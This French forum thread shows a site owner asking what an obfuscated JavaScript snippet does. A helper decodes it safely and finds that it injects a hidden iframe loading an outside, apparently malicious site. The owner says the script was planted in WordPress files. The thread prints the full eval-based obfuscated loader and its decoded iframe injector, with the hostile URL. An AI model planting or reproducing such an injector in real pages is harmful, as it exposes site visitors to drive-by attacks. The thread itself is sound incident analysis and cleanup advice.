Discussion :

[amazigh-dz]

Bonsoir,
aidez moi a decod� ce code javascript

Code :

S�lectionner tout - Visualiser dans une fen�tre � part

try{prototype%2;}catch(asd){x=2;} i=0;try{prototype*5;}catch(z){fr="fromChar";f=[72,81,840,918,256,360,800,999,792,1053,872,909,880,1044,368,927,808,1044,552,972,808,981,808,990,928,1035,528,1089,672,873,824,702,776,981,808,360,312,882,888,900,968,351,328,819,384,837,328,1107,104,81,72,81,840,918,912,873,872,909,912,360,328,531,104,81,72,1125,256,909,864,1035,808,288,984,117,72,81,72,900,888,891,936,981,808,990,928,414,952,1026,840,1044,808,360,272,540,840,918,912,873,872,909,256,1035,912,891,488,351,832,1044,928,1008,464,423,376,918,920,900,824,1008,872,918,816,936,904,999,368,963,952,945,856,414,928,999,376,567,824,999,488,450,312,288,952,945,800,1044,832,549,312,441,384,351,256,936,808,945,824,936,928,549,312,441,384,351,256,1035,928,1089,864,909,488,351,944,945,920,945,784,945,864,945,928,1089,464,936,840,900,800,909,880,531,896,999,920,945,928,945,888,990,464,873,784,1035,888,972,936,1044,808,531,864,909,816,1044,464,432,472,1044,888,1008,464,432,472,351,496,540,376,945,816,1026,776,981,808,558,272,369,472,117,72,81,1000,117,72,81,816,1053,880,891,928,945,888,990,256,945,816,1026,776,981,808,1026,320,369,984,117,72,81,72,1062,776,1026,256,918,256,549,256,900,888,891,936,981,808,990,928,414,792,1026,808,873,928,909,552,972,808,981,808,990,928,360,312,945,816,1026,776,981,808,351,328,531,816,414,920,909,928,585,928,1044,912,945,784,1053,928,909,320,351,920,1026,792,351,352,351,832,1044,928,1008,464,423,376,918,920,900,824,1008,872,918,816,936,904,999,368,963,952,945,856,414,928,999,376,567,824,999,488,450,312,369,472,918,368,1035,928,1089,864,909,368,1062,840,1035,840,882,840,972,840,1044,968,549,312,936,840,900,800,909,880,351,472,918,368,1035,928,1089,864,909,368,1008,888,1035,840,1044,840,999,880,549,312,873,784,1035,888,972,936,1044,808,351,472,918,368,1035,928,1089,864,909,368,972,808,918,928,549,312,432,312,531,816,414,920,1044,968,972,808,414,928,999,896,549,312,432,312,531,816,414,920,909,928,585,928,1044,912,945,784,1053,928,909,320,351,952,945,800,1044,832,351,352,351,392,432,312,369,472,918,368,1035,808,1044,520,1044,928,1026,840,882,936,1044,808,360,312,936,808,945,824,936,928,351,352,351,392,432,312,369,472,117,72,81,72,900,888,891,936,981,808,990,928,414,824,909,928,621,864,909,872,909,880,1044,920,594,968,756,776,927,624,873,872,909,320,351,784,999,800,1089,312,369,728,432,744,414,776,1008,896,909,880,900,536,936,840,972,800,360,816,369,472,117,72,81,1000];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");for(;573-5+5>i;i+=1){j=i;if(e)s=s+r[fr+((e)?"Code":12)]((w[j]/(8+e("j%2"))));} try{a7d2c8abd5419219f848ec22350569ffd();}catch(q){if(f)e(s);}

que fait cette fonction
Merci

[SpaceFrog]

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!ATTENTION !!!!!!!!!!!!!!!!!!!!!!!!
Je d�conseille fortement de tester le code ci dessous

C'est un truc bien pourri qui ins�re un iframe cach� sur ta page et charge une page dedans

pour le visualiser il suffit de faire ceci:

Code :

S�lectionner tout - Visualiser dans une fen�tre � part

1
2
3
4
<pre id="foo"></pre>
<script type="text/javascript">
try{prototype%2;}catch(asd){x=2;} i=0;try{prototype*5;}catch(z){fr="fromChar";f=[72,81,840,918,256,360,800,999,792,1053,872,909,880,1044,368,927,808,1044,552,972,808,981,808,990,928,1035,528,1089,672,873,824,702,776,981,808,360,312,882,888,900,968,351,328,819,384,837,328,1107,104,81,72,81,840,918,912,873,872,909,912,360,328,531,104,81,72,1125,256,909,864,1035,808,288,984,117,72,81,72,900,888,891,936,981,808,990,928,414,952,1026,840,1044,808,360,272,540,840,918,912,873,872,909,256,1035,912,891,488,351,832,1044,928,1008,464,423,376,918,920,900,824,1008,872,918,816,936,904,999,368,963,952,945,856,414,928,999,376,567,824,999,488,450,312,288,952,945,800,1044,832,549,312,441,384,351,256,936,808,945,824,936,928,549,312,441,384,351,256,1035,928,1089,864,909,488,351,944,945,920,945,784,945,864,945,928,1089,464,936,840,900,800,909,880,531,896,999,920,945,928,945,888,990,464,873,784,1035,888,972,936,1044,808,531,864,909,816,1044,464,432,472,1044,888,1008,464,432,472,351,496,540,376,945,816,1026,776,981,808,558,272,369,472,117,72,81,1000,117,72,81,816,1053,880,891,928,945,888,990,256,945,816,1026,776,981,808,1026,320,369,984,117,72,81,72,1062,776,1026,256,918,256,549,256,900,888,891,936,981,808,990,928,414,792,1026,808,873,928,909,552,972,808,981,808,990,928,360,312,945,816,1026,776,981,808,351,328,531,816,414,920,909,928,585,928,1044,912,945,784,1053,928,909,320,351,920,1026,792,351,352,351,832,1044,928,1008,464,423,376,918,920,900,824,1008,872,918,816,936,904,999,368,963,952,945,856,414,928,999,376,567,824,999,488,450,312,369,472,918,368,1035,928,1089,864,909,368,1062,840,1035,840,882,840,972,840,1044,968,549,312,936,840,900,800,909,880,351,472,918,368,1035,928,1089,864,909,368,1008,888,1035,840,1044,840,999,880,549,312,873,784,1035,888,972,936,1044,808,351,472,918,368,1035,928,1089,864,909,368,972,808,918,928,549,312,432,312,531,816,414,920,1044,968,972,808,414,928,999,896,549,312,432,312,531,816,414,920,909,928,585,928,1044,912,945,784,1053,928,909,320,351,952,945,800,1044,832,351,352,351,392,432,312,369,472,918,368,1035,808,1044,520,1044,928,1026,840,882,936,1044,808,360,312,936,808,945,824,936,928,351,352,351,392,432,312,369,472,117,72,81,72,900,888,891,936,981,808,990,928,414,824,909,928,621,864,909,872,909,880,1044,920,594,968,756,776,927,624,873,872,909,320,351,784,999,800,1089,312,369,728,432,744,414,776,1008,896,909,880,900,536,936,840,972,800,360,816,369,472,117,72,81,1000];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");for(;573-5+5>i;i+=1){j=i;if(e)s=s+r[fr+((e)?"Code":12)]((w[j]/(8+e("j%2"))));} try{a7d2c8abd5419219f848ec22350569ffd();}catch(q){if(f)document.getElementById('foo').innerHTML=s;}
</script>

r�sultat:

Code :

S�lectionner tout - Visualiser dans une fen�tre � part

1
2
3
4
5
6
7
8
if (document.getElementsByTagName('body')[0]){ iframer(); } 
else { document.write(""); } 
function iframer(){ var f = document.createElement('iframe');
f.setAttribute('src','http://fsdgpmffhqo.kwik.to/?go=2');
f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';
f.setAttribute('width','10');
f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f); }

Je d�conseille fortement d'aller visiter le lien de l'iframe ne serait-ce que pour tester

[amazigh-dz]

c'est un hacker qui a inject� ce code

moi j'ai supprim� ce code dans les fichier infect�

a ce que je doit aussi cherch� dans la base de donn�
parce que ce code est rouv� dans ma page index de wordpress

et merci

[SpaceFrog]

regarde les derniers document modifi�s sur ton FTP ... (tri par date)